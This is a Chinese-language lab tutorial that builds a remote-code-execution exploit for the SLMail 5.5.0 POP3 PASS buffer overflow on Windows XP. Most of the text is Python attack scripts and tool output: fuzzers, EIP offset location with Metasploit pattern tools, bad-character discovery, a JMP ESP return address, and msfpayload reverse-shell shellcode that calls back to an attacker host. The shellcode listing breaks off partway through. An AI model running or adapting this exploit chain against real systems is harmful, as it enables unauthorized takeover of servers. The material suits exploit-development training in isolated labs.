緩沖區溢出實例(一)--Windows


一、基本概念
緩沖區溢出:當緩沖區邊界限制不嚴格時,由於變量傳入畸形數據或程序運行錯誤,導致緩沖區被填滿從而覆蓋了相鄰內存區域的數據。可以修改內存數據,造成進程劫持,執行惡意代碼,獲取服務器控制權限等。
 
在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在緩沖區溢出漏洞,無需身份驗證實現遠程代碼執行。
 
注意,Win7以上系統的防范機制可有效防止該緩沖區漏洞的利用:
DEP:阻止代碼從數據頁被執行;
ASLR:隨機內存地址加載執行程序和DLL,每次重啟地址變化。
 
二、實驗環境准備:
SLMail 5.5.0 Mail Server
ImmunityDebugger_1_85_setup.exe
mona.py
 
下載地址:
mona手冊
 
實驗環境:xp
關閉防火牆
 
1.安裝SLMail 5.5.0郵件服務器
 
 
 
 
 
將本地賬戶導入郵件服務器
安裝好環境之后,確認SLMail的端口是否正常開啟:25 pop3端口,180 web管理端口。
services.msc 查看郵件相關服務。
2.郵件服務安裝成功后,接下來安裝調試工具 ImmunityDebugger
軟件會自動安裝python2.7環境
打開Immunity Debugger所在目錄
C:\Program Files\Immunity Inc\Immunity Debugger
將mona.py復制到PyCommands目錄下,
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
 
三、實驗內容
SLMail 5.5.0 Mail Server
POP3 PASS 命令存在緩沖區溢出漏洞
無需身份驗證實現遠程代碼執行
win7之后windows的安全防護機制
DEP:阻止代碼從數據頁被執行
ASLR:隨機內存地址加載執行程序和DLL,每次重啟地址變化
 
使用nc驗證端口連接是否正常,並且可執行pop3的一些指令
nc 192.168.199.199 25
nc 192.168.199.199 110
測試 PASS 命令接收到大量數據時是否會溢出
EIP 寄存器:存放下一條指令的地址
pop3郵件服務偵聽的端口是110,進程ID是636.
使用Immunity Debugger
file---attach---選中pid號為636的進程---attach調用
開始監控程序運行狀態
利用原理:“PASS”命令后,當一些特殊定制的命令輸入,會造成緩沖區溢出,上傳shellcode,可控制目標系統,則不需要經過身份驗證,獲得權限
 
一、測試哪個命令會出現緩沖區溢出
注:如何了解應用/協議能接受的固定指令:1、Wireshark 2、RFC【必須理解系統底層和協議底層】
01.py 最簡單的功能實現
#!/usr/bin/python
 
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
print data
 
s.send("USER Xuan"+"\r\n")
data = s.recv(1024)
print data
 
s.send("PASS test\r\n")
data = s.recv(1024)
print data
 
s.close()
print "\nDone"
 
except:
print "Could not connect to POP3!"
 
 
02.py【不斷增大發送量,通過Debug確定是否會溢出】【若發送數目很大,還沒溢出,則可放棄】
# 大概確定范圍
#!/usr/bin/python
 
import socket
 
buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200
 
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(("192.168.199.199",110))
s.recv(1024)
s.send("USER test"+"\r\n")
s.recv(1024)
s.send("PASS "+string+"\r\n")
s.send("QUIT\r\n")
s.close()
 
 
EIP中的41是十六進制數,轉換為字母就是A,也就是說此時EIP寄存器全部填滿了A,ESP寄存器也被填滿了A,每四個字節為一個存儲單元進行存儲,
EIP就是當前郵件服務器SLmail下一個需要執行的指令的內存地址,所發送的A把下一條指令的內存地址給覆蓋了,發生了緩沖區溢出。此時cpu會到EIP所在的內存地址中尋找指令代碼,而該指令內存已被A全部覆蓋,此時程序就會奔潰無法繼續運行。
漏洞利用:可以用shellcode填充EIP寄存器地址,這樣就可能控制目標機器。
注:每次實驗完都會導致郵件服務奔潰,因此需要每次實驗前都需要重新啟動SLmail服務。
# 通過調試工具查看是否異常?【靜態調試(匯編)、動態調試(正在運行的進程:attach)】
110端口【SLmail】:netstat -nao【查看系統進程的PID和端口等信息】
# 重點關注寄存器
# ESP:當ESP中輸入數據過多,將會把EIP的內存地址覆蓋
# EIP:下一跳指令的內存地址,若下一跳指令被修改,則可執行某一地址空間,運行shellcode
 
03.py 【手動嘗試,找到溢出范圍】
2700個字符實現 EIP 寄存器溢出
找到精確溢出的 4 個字節
#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2700
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
使用2700個字符去填充,此時程序已經奔潰,但是EIP寄存器已被我們設定的A填充滿。
 
使用2600個字符去填充,此時雖然程序已經奔潰,但是EIP寄存器並未被我們設定的A填充滿。
說明導致寄存器溢出的字符在2600到2700之間。
04.py 精確定位【二分法或唯一字符串法】
找出精確溢出的4個字節
通常找出精確字節的方法有如下兩種:
1、二分查找法
2、唯一字串法:
 
這里為了方便便使用唯一字符串法,其可在Kali Linux的/usr/share/metasploit-framework/tools/exploit/pattern_create.rb腳本中可以生成唯一字符串:
cd /usr/share/metasploit-framework/tools/exploit
查看可選參數
./pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options:
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9
 
生成2700個每四個字符為一組的唯一字符串,使用kali中metasploit腳本工具
# 將這2700個字符添加進04.py腳本中,作為buffer的參數
04.py
#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
 
 
# EIP:39694438
# 因為在內存中數據的讀寫順序與人類讀寫順序相反,則此ASCII碼應為38 44 69 39
根據ASCII碼表可得此4個字符為8Di9
 
# 計算偏移量,計算【39694438】在2700個字符中的具體位置。
cd /usr/share/metasploit-framework/tools/exploit/
同樣先來查看需要設置的參數,偏移量使用-q參數
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -h
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9
Options:
-q, --query Aa0A Query to Locate
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 39694438
[*] Exact match at offset 2606 精確的匹配出來偏移量是2606,也就是它前面有2606個字符,即8Di9中的8是第2607個字符。
 
05.py 確認是否真為此位置
buffer = 'A' * 2606+'B'*4+'C'*20
將前2606個字符替換為A,之后4個替換為B,再之后的20個字符替換為C,確認是否可以精確的把BBBB寫入EIP寄存器。
#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606+'B'*4+'C'*20
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
執行結果顯示EIP為42424242,轉換為字母就是BBBB,20個C精准被填入ESP.
思路:將EIP修改為shellcode代碼的內存地址,將shellcode寫入到該地址空間,程序讀取EIP寄存器數值,將跳轉到shellcode代碼段並執行。
# 尋找可存放shellcode的內存空間(考慮ESP),修改EIP使其指向ESP所在的shellcode內存空間。
 
06.py【手動修改C數值,判斷內存空間大小是否能放一下shellcode,假設ESP寄存器可放3500】
buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4) 讓C去填滿ESP的內存空間,判斷C的個數。
#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606+'B'*4+'C'*(3500-2606+4)
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
# 選擇ESP,右鍵:follow in dump
右鍵--Hex--Hex/ASCII 16bytes,使用每行16個字節來顯示,這樣可以方便查看。
# ESP起始地址為:0167A154 終止地址為:0167A2F4
# 使用科學計算器,windows下,calc->查看->科學型->十六進制,因為所有的地址的前5位都一致,因此使用結束地址0167A2F4的后三位2F4減去開始地址0167A154的后三位154,結果再轉化為十進制,得結果為416
# 最小的shellcode為300字節左右,因此ESP足夠放下一個shellcode。
# 在做模糊測試過程中,因為不同類型的程序、協議、漏洞,會將某些字符認為是壞字符,,這些字符有固定用途。如:null byte (0x00)空字符,用於終止字符串的拷貝操作;return (0x0D)回車操作,表示POP3 PASS指令操作完畢。
注:返回地址、shellcode、buffer都不能出現壞字符
 
07.py【思路:發送0x00-0xff 256個字符,查找所有的壞字符】
即二進制數00000000---11111111,共有256種組合。
0 --- 255
#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x09\x0b\x0c\x0d\x0e\x0f\x00"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\4e\x4f\x40"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0"
)
 
buffer = "A"*2606 + "B"*4 + badchars
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
# 右鍵follow in dump
# 此字符后,數據顯示異常,則該字符(0A)可能有問題,進行下一步驗證
修改0A為某一正常字符如09,重新發送驗證,
0A替換為09可正常運行。
# 驗證得0A 為壞字符 ;0D為壞字符不出現,縮進一格,全部檢查,發現00也被過濾,則可發現該實驗中壞字符為:0x00 0x0D 0x0A
重定向數據流,用ESP的地址替換EIP的值,但是ESP的地址是變化的,不能使用硬編碼。在SLMali線程應用程序中,操作系統為每個線程分配一段的地址范圍,每個線程地址范圍不確定
 
變通思路:在內存地址中尋找固定的系統模塊,在模塊中尋找JMP ESP指令的地址跳轉,再由該指令間接跳轉到ESP,從而執行shellcode。利用mona.py腳本識別內存模塊,搜素“return address”是JMP ESP指令的模塊,尋找無DEP、ALSP保護的內存地址【內存地址不能包含壞字符】{從EIP跳到JMP ESP,再跳到ESP}
 
#輸入!mona modules 查找模塊【選擇前四個模塊為false,最后一個OS dll為true】
!mona modules
這里我們主要關注Rebase,true表示重啟后內存地址值改變,false表示重啟后內存地址不變。
safeSEH和ASLR是計算機內存保護機制。理想的環境內存保護機制都是false。
OS dll:操作系統動態連接庫,表示可運行在任意系統中,若為false則可能在其他系統中不能運行
 
JMP ESP是匯編指令,需要使用kali將其轉換為二進制。
root@kali:~# cd /usr/share/metasploit-framework/tools/exploit/
root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
!mona find -s "\xff\xe4" -m openc32.dll【在該進程模塊查找是否有執行JMP ESP的命令】
【JMP ESP為匯編指令,需轉換為二進制指令FFE4】
# nasm_shell.rb腳本的作用就是用來轉換匯編指令
openc32.dll進程模塊中沒有可以執行JMP ESP的命令
 
!mona find -s "\xff\xe4" -m MFC42LOC.dll 還是不支持!
 
繼續查找並嘗試
 
ok,SLMFC.DLL支持執行JMP ESP的命令,並且有20個內存地址可以執行。
 
雙擊打開一個內存地址,右鍵---Disassemble將16進制切換為匯編語言,
可以看到16進制FFE4對應的匯編JMP ESP。
 
 
打開內存地圖,找到SLMFC模塊的基地址5F400000,可以看到該內存中存放的是一個pe文件頭。
5F401000存放code
 
給5F4B41E3設置斷點,當運行到此處中斷程序的執行。
選擇內存地址---右鍵---breakpoint---memory,on access---開啟運行程序
 
08.py【驗證斷點是否正常跳轉】
# 因為計算機讀取數據為翻轉【為跳轉地址】
5F4B41E3,內存里面存放數據時完全反轉進行放置的,即:E3 41 4B 5F
buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "C" *390
 
#!/usr/bin/python
import socket
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = 'A' * 2606 + "\xe3\x41\x4b\x5f" + "C" *390
 
try:
print "\nSending evil buffer..."
s.connect(("192.168.199.199",110))
data = s.recv(1024)
s.send("USER test"+"\r\n")
data = s.recv(1024)
s.send("PASS "+buffer+"\r\n")
print "\nDone!."
except:
print "Could not connect to POP3!"
 
當執行內存5F4B41E3時遇到斷點!
 
EIP指定了5F4B41E3地址,該地址會跳轉到SLMFC模塊里的JMP ESP指令,
 
F7:程序調試過程中的單步向前運行的指令
 
01AFA154,該地址中存放的都是C.
 
# 將腳本里的shellcode替換成shellcode,則可獲得控制
Shellcode
可用Scapy編寫,也可用./msfpayload -l 自動生成shellcode【該工具中含有大量針對各種系統的shellcode】
# 正向開后門基本杜絕,要進行反向開后門
root@kali:~# cd /usr/share/framework2/
root@kali:/usr/share/framework2# ./msfpayload win32_reverse LHOST=192.168.199.112 LPORT=444 C
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
"\xc0\xa8\xc7\x70\x66\x68\x01\xbc\x66\x53\x89\xe1\x95\x68\xec\xf9"
